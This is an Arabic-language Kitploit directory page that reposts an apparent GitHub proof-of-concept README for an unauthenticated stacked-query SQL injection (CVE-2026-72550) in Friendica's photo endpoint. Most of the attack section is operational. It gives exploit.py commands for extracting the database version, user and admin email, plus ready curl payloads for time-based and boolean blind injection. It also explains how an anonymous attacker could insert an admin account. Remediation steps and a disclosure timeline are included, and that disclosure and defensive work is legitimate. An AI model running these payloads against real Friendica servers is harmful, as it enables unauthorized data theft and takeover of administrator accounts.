Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/abdugafforov-bobur/cve-2026-72550-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتجمع المعلوماتأمن الويباختبار الاختراق
GitHubabdugafforov-bobur/cve-2026-72550-poc

CVE-2026-72550-poc

CVE-2026-72550 — Friendica إثبات مفهوم (PoC) لحقن SQL متعدد الاستعلامات دون مصادقة (CVSS 9.8 حرج)

عرض المستودع
6منذ 27 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-72550 — حقن SQL غير مُصادَق عليه في Friendica

حقن SQL غير مُصادَق عليه باستعلامات متراصة (stacked queries) في نقطة نهاية الصور في Friendica يسمح لأي زائر بتنفيذ SQL عشوائي.

الحقلالقيمة
معرف CVECVE-2026-72550
المنتجFriendica (شبكة اجتماعية موزعة ذاتية الاستضافة)
الإصدارات المتأثرة<= 2026.08-dev (git HEAD e3fc1bc)
النوعCWE-89: حقن SQL (غير مُصادَق عليه، استعلامات متراصة)
الخطورةحرجة — CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
المصادقة المطلوبةغير مطلوبة

الملخص

تأخذ نقطة نهاية عرض الصور في Friendica معامل الاستعلام order وتُدرجه دون تهريب في عبارة SHOW COLUMNS ... LIKE '...' تُنفَّذ عبر PDO::query() مباشرة — وهو ما يسمح بتنفيذ عبارات متعددة. لا يلزم تسجيل الدخول، وعلى التثبيت الافتراضي (block_public معطَّل افتراضيًا) تكفي أي صورة مرئية للعموم. ونظرًا لأن PDO::query() تنفّذ عبارات متراصة، فإن المهاجم المجهول لا يكتفي بقراءة البيانات — بل ينفّذ SQL عشوائيًا، بما في ذلك INSERT/UPDATE لإنشاء مستخدم مسؤول.

مسار الكود القابل للاستغلال

root@kitploit:~
mod/photos.php:673              — reads raw $_GET['order']
DBStructure::existsColumn()     — concatenates into: SHOW COLUMNS FROM `photo` LIKE '$column'
  src/Database/DBStructure.php:714
DBA::p() → PDO::query()         — executes with stacked statements enabled

يصل مسار الطلب الافتراضي إلى هذا الكود: القيمة الافتراضية لـ $cmd هي 'view' (ما يلبي شرط $cmd === 'view') وno_count معطَّل، لذا لا حاجة إلى مصادقة أو أي إعداد غير افتراضي.

الاستخدام

root@kitploit:~
# Install dependency
pip install requests

# Check if target is vulnerable (time-based detection)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only

# Extract database version via blind SQLi
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version

# Extract current database user
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user

# Extract current database name
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name

# Extract first admin email
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email

المعاملات

الخيارالوصف
-u / --urlعنوان قاعدة الهدف (مثل http://target:8176)
-r / --userاسم المستخدم الذي سيتم استهداف معرض صوره
-i / --resource-idمعرف المورد لأي صورة عامة مرئية
--extractالقيمة المطلوب استخراجها: version, db_user, db_name, admin_email
--check-onlyاختبار الثغرة فقط دون استخراج بيانات
--sleepتأخير SLEEP بالثواني (الافتراضي: 5)

إعادة الإنتاج يدويًا

لا حاجة إلى ملفات تعريف الارتباط أو مصادقة. وجّه الطلب إلى أي معرف مورد لصورة عامة:

root@kitploit:~
# Control — valid order, returns fast (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=created"

# Injection — stacked SLEEP(5) executes, response held ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"

الحمولة المفكوكة: x';SELECT SLEEP(5)-- -

تصبح جملة SQL المحقونة:

root@kitploit:~
SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'

الاستخراج الأعمى المنطقي (Boolean)

root@kitploit:~
# TRUE condition (@@version starts with '1') → delays ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"

# FALSE condition (@@version starts with '9') → returns fast
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"

التأثير

يمكن لمهاجم غير مُصادَق عليه:

  • قراءة أي بيانات من قاعدة البيانات (استخراج أعمى لبيانات الاعتماد ورسائل البريد الإلكتروني والرسائل الخاصة)
  • كتابة صفوف عشوائية — بما في ذلك إنشاء حساب مسؤول عبر INSERT INTO user
  • تعديل البيانات الموجودة — ترقية أي مستخدم إلى مسؤول، أو العبث بالمنشورات، أو إعادة تعيين كلمات المرور
  • حذف البيانات أو إسقاط الجداول (تعطيل الخدمة)

هذا اختراق كامل لقاعدة البيانات يمكن لأي زائر مجهول الوصول إليه على تثبيت Friendica افتراضي.

الإصلاح

  1. التحقق من order مقابل القائمة البيضاء للأعمدة المعروفة قبل الاستخدام
  2. استخدام استعلامات معلَّمة بدلًا من دمج السلاسل النصية في SHOW COLUMNS
  3. تعطيل تنفيذ العبارات المتعددة على اتصال PDO (PDO::ATTR_EMULATE_PREPARES => false)

الخط الزمني

التاريخالحدث
2026-07-07اكتشاف الثغرة وتأكيدها على مثيل محلي
2026-08-11نشر CVE-2026-72550 عبر TuranSec CNA

إخلاء المسؤولية

هذه الأداة مقدمة لأغراض اختبار الأمان المصرح به والتعليم فقط. استخدمها فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.

الاعتمادات

اكتُشفت بواسطة Bobur Abdugafforov (@abdugafforov-bobur)

تم تعيين CVE عبر TuranSec CNA

تنزيل الأداة